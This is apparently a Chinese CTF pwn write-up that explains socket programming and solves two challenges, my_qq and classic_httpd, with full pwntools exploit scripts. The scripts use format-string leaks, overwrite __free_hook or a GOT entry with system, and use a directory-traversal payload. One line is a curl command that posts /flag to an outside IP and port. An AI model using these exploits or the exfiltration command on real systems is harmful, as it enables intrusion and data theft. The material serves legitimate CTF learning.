关于web pwn中socket的理解
相关知识
一些关键理解
注意这里和反弹shell不太一样,反弹shell创建了套间字后直接connect就行了
- 可以认为套接字这种方式就像一个中转站,将服务端和客户端联系起来,然后socket函数创建一个总的套接字,后面的函数创建分的套接字
- 套接字描述符类似于文件描述符,可以往里面写东西。区分好服务端和客户端就行
- 也可以用read和write进行读写,套接字描述符就像文件描述符
socket函数
- socket() 函数创建的套接字:这个套接字是一个总的套接字,它是服务器端用于监听连接请求的套接字(对于TCP服务器端)或是客户端用于发起连接请求的套接字。这个套接字是用于整个通信过程的起点,它是后续通信的基础。
- 后续操作创建的套接字:在建立连接之后,accept() 函数会创建一个新的套接字,用于表示与客户端建立的连接。这个套接字是专门用于与特定客户端进行通信的,是一种独立的套接字。而在客户端,通过 connect() 函数建立连接后,也会创建一个用于与服务器通信的套接字。这些套接字都是后续通信过程中使用的。
- 总之,socket() 函数创建的套接字是整个通信过程的起点,而后续操作创建的套接字是用于与特定对端进行通信的。这些后续操作创建的套接字可以视为衍生自总的套接字。
相关结构体
- sockaddr_in 结构体是用于表示 IPv4 地址和端口的数据结构,通常在网络编程中使用。它定义在 <netinet/in.h></netinet/in.h> 头文件中,并且在头文件中,并且在 BSD 系统和类 Unix 系统中广泛使用。
struct sockaddr_in {
short sin_family; // 地址族,通常为 AF_INET
unsigned short sin_port; // 16位的端口号,网络字节序
struct in_addr sin_addr; // IPv4 地址结构
char sin_zero[8]; // 填充字段,通常用0填充
};
- struct in_addr 是用于表示 IPv4 地址的数据结构,在网络编程中经常被使用。它通常定义在 <netinet/in.h> 头文件中
struct in_addr { in_addr_t s_addr; // 32 位的 IPv4 地址,以网络字节序(big-endian)表示 };
例题讲解
安洵杯2023 my_qq
- 记录一下做这种题的小技巧,一般这种题有非常多的函数调用,更像是个re题。但是漏洞一般都不会在一看就是系统的函数里面,这种一般可以先大致略过去,漏洞一般都会在看着像自定义的函数里面,而且漏洞函数一般不会多次出现,那种反复在用的肯定不是漏洞函数,至于有些加解密那种奇怪的处理,略过去就好,出题人一般也不会在那里搞个漏洞
- 这个题要懂一点与服务端交互,涉及以下过程
- 交换公钥:在建立安全连接的过程中,客户端和服务端会交换公钥。客户端会向服务端请求其公钥,并发送自己的公钥给服务端。这个过程称为密钥交换。
- 加密通信:一旦双方都具有对方的公钥,它们就可以使用公钥加密技术来加密通信内容。这样,即使通信被拦截,攻击者也无法解密通信内容,因为只有拥有私钥的一方才能解密数据。在此题中发送给服务端的数据就是用RC4密码加密后的信息,服务端也会输出解密后的信息
- 这个题还有一个很有意思的点就是会给两个remote连接,一个是服务端的,一个是accept得到的客户端
- 这个题学习了不少知识,如socket,网络中的交互,RSA、RC4密码,数据库的基本操作
- exp
#!/usr/bin/env python3
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
from pwn import *
from Crypto import Random
from Crypto.PublicKey import RSA
from Crypto.Cipher import ARC4
pbkey_path = './pb.pem'
prkey_path = './pr.pem'
try:
pbkey = RSA.importKey(open(pbkey_path, 'rb').read())
prkey = RSA.importKey(open(prkey_path, 'rb').read())
except Exception as e:
# print(e)
prkey = RSA.generate(2048, Random.new().read)
pbkey = prkey.public_key()
open(pbkey_path, 'wb').write(pbkey.export_key('PEM'))
open(prkey_path, 'wb').write(prkey.export_key('PEM'))
def new_client():
# 47.108.206.43:34284
p = remote('47.108.206.43', 34284)
server_p.recvuntil(b'Client connected: ')
server_p.recvuntil(b' on sock ')
fd = int(server_p.recvline())
return p, fd
def recvall(p):
data = b''
while True:
_data = p.recv(timeout=0.5)
if not _data: break
data += _data
return data
def exchange_public_key(p, pbkey):
global s_pbkey
server_p.recvuntil(b'server key is ')
server_p.recvuntil(b'-----END PUBLIC KEY-----\n')
s_pbkey = RSA.importKey(recvall(p))
#接受服务端的公钥,但这个没啥用,因为strcmp检查的公钥是注册时的公钥
p.send(pbkey.export_key('PEM'))
server_p.recvuntil(b'-----END PUBLIC KEY-----')
def register(p, name, pw_sha256_hash, pbkey):
p.send(b'no\x00\x00')
server_p.recvuntil(b'no\n')
#逆向可以发现注册时,name是16字节,hash是64字节
p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
exchange_public_key(p, pbkey)
def login(p, name, pw_sha256_hash, pbkey):
global s_pbkey
p.send(b'yes\x00')
server_p.recvuntil(b'yes\n')
#输入注册的name和hash
p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
exchange_public_key(p, pbkey)
#这个在服务端直接打印出来了,因此直接接收
server_p.recvuntil(b'RC4 key is ')
rc4key = bytes.fromhex(server_p.recvline().decode())
server_p.recvuntil(b'Transfer_RC4_key SUCCESS\n')
assert len(rc4key) == 17 and rc4key.index(b'\x00') == 16
return rc4key
def session(p, rc4key, data, pad_to=0, extra=b''):
data += b'\x00'
data = ARC4.new(rc4key).encrypt(data).hex().encode()
if pad_to:
assert len(data) < pad_to, (len(data), pad_to)
data = data.ljust(pad_to, b'\x00')
data += extra
p.send(data)
server_p.recvuntil(b'The decode rc4_msg is')
server_p.recvline()
return server_p.recvuntil(b' \n', drop=True)
# context.log_level = 'debug'
libc = ELF('./libc-2.31.so', checksec=False)
malloc_got = 0x6f50
# 47.108.206.43:20468
server_p = remote('47.108.206.43', 20468)
server_p.recvuntil(b'Server is listening on port 10000........\n')
p1, fd1 = new_client()
print('fd:', fd1)
register(p1, b'd', b'a', pbkey)
rc4key = login(p1, b'd', b'a', pbkey)
print('rc4key:', rc4key.hex())
stack_addr = int(session(p1, rc4key, b'%p'), 16)
print('stack:', hex(stack_addr))
# 0 -> 6
elf_base = u64(session(p1, rc4key, b'%15$s', 9 * 8, p64(stack_addr + 0x400 + 0x800 + 0x30 + 8)) + b'\x00\x00') - 0x3208
print('elf:', hex(elf_base))
libc_base = u64(session(p1, rc4key, b'%15$s', 9 * 8, p64(elf_base + malloc_got)) + b'\x00\x00') - libc.sym['malloc']
print('libc:', hex(libc_base))
for i in range(6):
print(session(p1, rc4key, b'%' + str(((libc_base + libc.sym['system']) >> (8 * i)) & 0xff).encode() + b'c%15$hhn', 9 * 8, p64(libc_base + libc.sym['__free_hook'] + i)))
session(p1, rc4key, b'/bin/sh')
p1.close()
server_p.interactive()
vnctf2022 classic_httpd
这种题当前目录一般都是htdocs,然后flag都会在/根目录下
- 这个题和安洵的题有所不同,这里记录一些一下做题过程
## 非预期 - 代码审计结束就发现竟然没有检测目录穿越的代码部分,题目也没给libc,估计出题人预期其实也是这个,但是有个地方一直交互不了
没注意到这里要输入\n才能停止循环,一直少了一个\n。payload=b'POST /../flag\n\n'就可以get flag - 还有一个需要记录的地方是这个题和安洵的题有所不同,安洵的给了两个远程连接,这个题就启动了一个docker给了一个远程连接
## 预期解 - 当发现文件不存在会进入这个分支
- 一般用了要文件是htdocs/submit.cgi的形式才会进入下一个分支,这里有点像vmpwn,给出对应的选项,会执行相应的分支,逆出来的结构体如下
struct {
uint32_t
uint32_t type;
uint64_t addr1;
uint64_t addr2;
uint64_t addr3;
};
type=0xf1, *(addr1+addr2)=*addr3 chance<=2
type=0x88, 打印 *(addr1+addr2) chance<=1
type=0x66 *addr1<=4,可以泄露pie chance=0
type=0x12 没用
type=0x22,addr1='ping',strlen(addr2)<=0xf ,以%s打印addr2处
第一步泄露pie,第二部泄露libcbase,第三步打strcasecmp的got为system
- 留意到有个加密,一开始自己手逆加密过程,其实这就是个base64加解密,客户端发送base64加密后的密文,服务端接受后解密,估计这个就是个解密过程,pwn中的密码算法一般也不会太麻烦,因此也不涉及换表什么的
- exp,注意要多次remote连接,原因如图。accept会阻塞直接下一个连接
from pwn import *
from pwncli import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
ip = 'node5.buuoj.cn'
port = 26097
def get_msg(data: bytes):
return f"GET /submit.cgi?{base64.b64encode(data).decode()} \n\n"
# get addr
io=remote(ip, port)
data = p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0)
io.send(get_msg(data))
io.recvuntil("Let us look. Oh! That is ")
m = io.recvline()
codebase = int16_ex(m[:14]) - 0x4070
log_code_base_addr(codebase)
io.close()
io=remote(ip, port)
data = p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0)
io.send(get_msg(data))
io.recvuntil("OK! I give you some message!\n")
m = io.recvline()
libc_base = int16_ex(m[-15:-1]) - 0x1232c0
log_libc_base_addr(libc_base)
io.close()
io=remote(ip, port)
systemaddr = libc_base + 0x055410
data = p32(2) + p32(0xf1) + p64(codebase) + p64(0x6048) + p64(systemaddr)
data += p32(0x22) + b"ping".ljust(8, b"\x00") + b'curl -X POST -F \"flag=@/flag\" 172.18.211.41:4444' # 这里需要替换为自己的ip和端口
io.send(get_msg(data))
io.close()
0 条评论
可输入 255 字